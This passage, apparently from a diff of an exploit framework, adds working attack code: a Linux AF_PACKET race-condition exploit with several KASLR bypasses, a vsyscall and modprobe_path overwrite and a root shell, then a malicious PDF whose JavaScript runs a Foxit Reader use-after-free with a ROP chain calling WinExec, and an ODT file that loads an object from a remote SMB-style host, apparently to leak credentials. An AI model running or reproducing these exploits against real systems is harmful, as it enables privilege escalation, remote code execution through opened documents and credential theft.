tp.tp_frame_size = getpagesize();
|
||||
tp.tp_frame_nr = CONF_RING_FRAMES;
|
||||
|
||||
// try to set the timeout to 10 seconds
|
||||
// the default timeout might still be used though depending on when the race was won
|
||||
tp.tp_retire_blk_tov = 10000;
|
||||
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
|
||||
|
||||
usleep(200000);
|
||||
|
||||
dprintf("[.] removing barrier and spraying...\n");
|
||||
|
||||
memset(exploitbuf, '\x00', BUFSIZE);
|
||||
|
||||
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
|
||||
timer->next = 0;
|
||||
timer->prev = 0;
|
||||
|
||||
timer->expires = 4294943360;
|
||||
timer->function = (void *)func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
timer->slack = -1;
|
||||
|
||||
barrier = 0;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
while (!vers_switcher_done) usleep(100000);
|
||||
|
||||
l = sizeof(val);
|
||||
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
|
||||
|
||||
dprintf("[.] current packet version = %d\n",val);
|
||||
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
|
||||
}
|
||||
|
||||
|
||||
if (val == TPACKET_V1 && off != 0) {
|
||||
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
|
||||
} else {
|
||||
dprintf("[-] race not won\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
|
||||
|
||||
pthread_create(&a, NULL, verification_func, (void *)NULL);
|
||||
|
||||
dprintf("\n");
|
||||
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
|
||||
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
|
||||
dprintf("\n");
|
||||
|
||||
sleep(1);
|
||||
dprintf("[.] closing socket and verifying...\n");
|
||||
|
||||
close(sfd);
|
||||
|
||||
kmalloc();
|
||||
|
||||
dprintf("[.] all messages sent\n");
|
||||
|
||||
sleep(31337);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int verification_result = 0;
|
||||
|
||||
void catch_sigsegv(int sig)
|
||||
{
|
||||
verification_result = 0;
|
||||
pthread_exit((void *)1);
|
||||
}
|
||||
|
||||
void *modify_vsyscall(void *arg)
|
||||
{
|
||||
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
|
||||
unsigned long x = (unsigned long)arg;
|
||||
|
||||
sigset_t set;
|
||||
sigemptyset(&set);
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
verification_result = 1;
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void verify_stage1(void)
|
||||
{
|
||||
pthread_t v_thread;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
|
||||
|
||||
pthread_join(v_thread, NULL);
|
||||
|
||||
if(verification_result == 1) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not modify vsyscall\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void verify_stage2(void)
|
||||
{
|
||||
struct stat b;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
if (stat(SYSCTL_PATH, &b) == 0) {
|
||||
dprintf("[~] sysctl added!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not add sysctl\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
int status;
|
||||
int pid;
|
||||
|
||||
retry:
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
try_exploit(func, arg, verification_func);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
wait(&status);
|
||||
|
||||
dprintf("\n");
|
||||
|
||||
if (WEXITSTATUS(status) == 2) {
|
||||
dprintf("[.] retrying stage...\n");
|
||||
kill(pid, 9);
|
||||
sleep(2);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (WEXITSTATUS(status) != 0) {
|
||||
dprintf("[-] something bad happened, aborting exploit attempt\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
|
||||
void wrapper(void)
|
||||
{
|
||||
struct ctl_table *c;
|
||||
|
||||
dprintf("[.] making vsyscall page writable...\n\n");
|
||||
|
||||
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
|
||||
|
||||
dprintf("[~] done, stage 1 completed\n");
|
||||
|
||||
sleep(5);
|
||||
|
||||
dprintf("[.] registering new sysctl...\n\n");
|
||||
|
||||
c = (struct ctl_table *)(VSYSCALL+0x850);
|
||||
|
||||
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
|
||||
|
||||
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
|
||||
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
|
||||
c->procname = (char *)(VSYSCALL+0xf00);
|
||||
c->mode = 0666;
|
||||
c->proc_handler = (void *)(PROC_DOSTRING);
|
||||
c->data = (void *)(MODPROBE_PATH);
|
||||
c->maxlen = 256;
|
||||
c->extra1 = (void *)(VSYSCALL+0xe00);
|
||||
c->extra2 = (void *)(VSYSCALL+0xd00);
|
||||
|
||||
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
|
||||
|
||||
dprintf("[~] done, stage 2 completed\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[512];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
else
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void launch_rootshell(void)
|
||||
{
|
||||
int fd;
|
||||
char buf[256];
|
||||
struct stat s;
|
||||
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(buf, '\x00', 256);
|
||||
|
||||
readlink("/proc/self/exe", (char *)&buf, 256);
|
||||
|
||||
write(fd, buf, strlen(buf)+1);
|
||||
|
||||
socket(AF_INET, SOCK_STREAM, 132);
|
||||
|
||||
if (stat(buf,&s) == 0 && s.st_uid == 0) {
|
||||
dprintf("[+] binary executed by kernel, launching rootshell\n");
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
write(fd, "/sbin/modprobe", 15);
|
||||
close(fd);
|
||||
execl(buf, buf, NULL);
|
||||
} else {
|
||||
dprintf("[-] could not create rootshell\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
chmod("/proc/self/exe", 06755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (getuid() != 0 && geteuid() == 0) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execl("/bin/bash", "bash", "-p", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
|
||||
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
|
||||
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
|
||||
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
wrapper();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
launch_rootshell();
|
||||
return 0;
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,125 @@
|
|||
%PDF
|
||||
1 0 obj
|
||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||
2 0 obj
|
||||
<</S /JavaScript /JS (
|
||||
|
||||
var heap_ptr = 0;
|
||||
var foxit_base = 0;
|
||||
var pwn_array = [];
|
||||
|
||||
function prepare_heap(size){
|
||||
var arr = new Array(size);
|
||||
for(var i = 0; i < size; i++){
|
||||
arr[i] = this.addAnnot({type: "Text"});;
|
||||
if (typeof arr[i] == "object"){
|
||||
arr[i].destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function gc() {
|
||||
const maxMallocBytes = 128 * 0x100000;
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var x = new ArrayBuffer(maxMallocBytes);
|
||||
}
|
||||
}
|
||||
|
||||
function alloc_at_leak(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||
}
|
||||
}
|
||||
|
||||
function control_memory(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
for (var j = 0; j < pwn_array[i].length; j++){
|
||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function leak_vtable(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
|
||||
a.destroy();
|
||||
gc();
|
||||
|
||||
prepare_heap(0x400);
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
var leaked = stolen[0] & 0xffff0000;
|
||||
foxit_base = leaked - 0x01f50000;
|
||||
}
|
||||
|
||||
function leak_heap_chunk(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
a.destroy();
|
||||
prepare_heap(0x400);
|
||||
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
alloc_at_leak();
|
||||
heap_ptr = stolen[1];
|
||||
}
|
||||
|
||||
function reclaim(){
|
||||
var arr = new Array(0x10);
|
||||
for (var i = 0; i < arr.length; i++) {
|
||||
arr[i] = new ArrayBuffer(0x60);
|
||||
var rop = new Int32Array(arr[i]);
|
||||
|
||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||
rop[0x02] = 0x72727272; // junk
|
||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||
<%= rop %>
|
||||
rop[0x17] = 0x00000000; // adios, amigo
|
||||
}
|
||||
}
|
||||
|
||||
function trigger_uaf(){
|
||||
var that = this;
|
||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||
var arr = [1];
|
||||
Object.defineProperties(arr,{
|
||||
"0":{
|
||||
get: function () {
|
||||
|
||||
that.getAnnot(0, "uaf").destroy();
|
||||
|
||||
reclaim();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a.point = arr;
|
||||
}
|
||||
|
||||
function main(){
|
||||
leak_heap_chunk();
|
||||
leak_vtable();
|
||||
control_memory();
|
||||
trigger_uaf();
|
||||
}
|
||||
|
||||
if (app.platform == "WIN"){
|
||||
if (app.isFoxit == "Foxit Reader"){
|
||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||
main();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
)>> trailer <</Root 1 0 R>>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2"><office:scripts/><office:font-face-decls><style:font-face style:name="Lucida Sans1" svg:font-family="'Lucida Sans'" style:font-family-generic="swiss"/><style:font-face style:name="Liberation Serif" svg:font-family="'Liberation Serif'" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Liberation Sans" svg:font-family="'Liberation Sans'" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Lucida Sans" svg:font-family="'Lucida Sans'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles><style:style style:name="fr1" style:family="graphic" style:parent-style-name="OLE"><style:graphic-properties style:horizontal-pos="center" style:horizontal-rel="paragraph" draw:ole-draw-aspect="1"/></style:style></office:automatic-styles><office:body><office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/><text:p text:style-name="Standard"><draw:frame draw:style-name="fr1" draw:name="Object1" text:anchor-type="paragraph" svg:width="14.101cm" svg:height="9.999cm" draw:z-index="0"><draw:object xlink:href="file://192.168.1.25/test.jpg" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/><draw:image xlink:href="./ObjectReplacements/Object 1" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/></draw:frame></text:p></office:text></office:body></office:document-content>
|
|
@ -0,0 +1,18 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="styles.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="content.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
|
@ -0,0 +1,15 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
|
||||
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
|
||||
